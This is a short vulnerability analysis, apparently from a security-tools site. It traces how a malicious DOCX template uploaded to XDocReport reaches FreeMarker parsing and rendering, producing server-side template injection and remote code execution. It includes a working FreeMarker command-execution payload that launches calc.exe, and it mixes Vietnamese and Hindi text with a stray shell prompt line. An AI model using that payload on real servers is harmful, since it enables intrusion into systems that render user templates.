    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **शोषण योग्य प्रमुख बिंदुओं का सारांश**
    
    | चरण                     | वर्ग                | भूमिका               | SSTI संबंध               |
    | ----------------------- | ------------------- | -------------------- | ------------------------ |
    | `loadReport()`          | `XDocReportRegistry` | टेम्पलेट लोड करें   | इनपुट नियंत्रण नहीं      |
    | `getReader()`           | `TemplateEngine`     | टेम्पलेट डेटा पढ़ें | पेलोड हो सकता है         |
    | `FMParser`              | `freemarker.core`    | सामग्री पार्स करें   | `${}` चर विश्लेषित हैं  |
    | `Environment.process()` | `freemarker.core`    | टेम्पलेट रेंडर करें  | प्रति नोड `visit()` कॉल |
    | `visit()` / `eval()`    | `freemarker.core`    | अभिव्यक्ति निष्पादित करें | **SSTI / RCE बिंदु** |
    
    ---
    
    ## दस्तावेज़
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link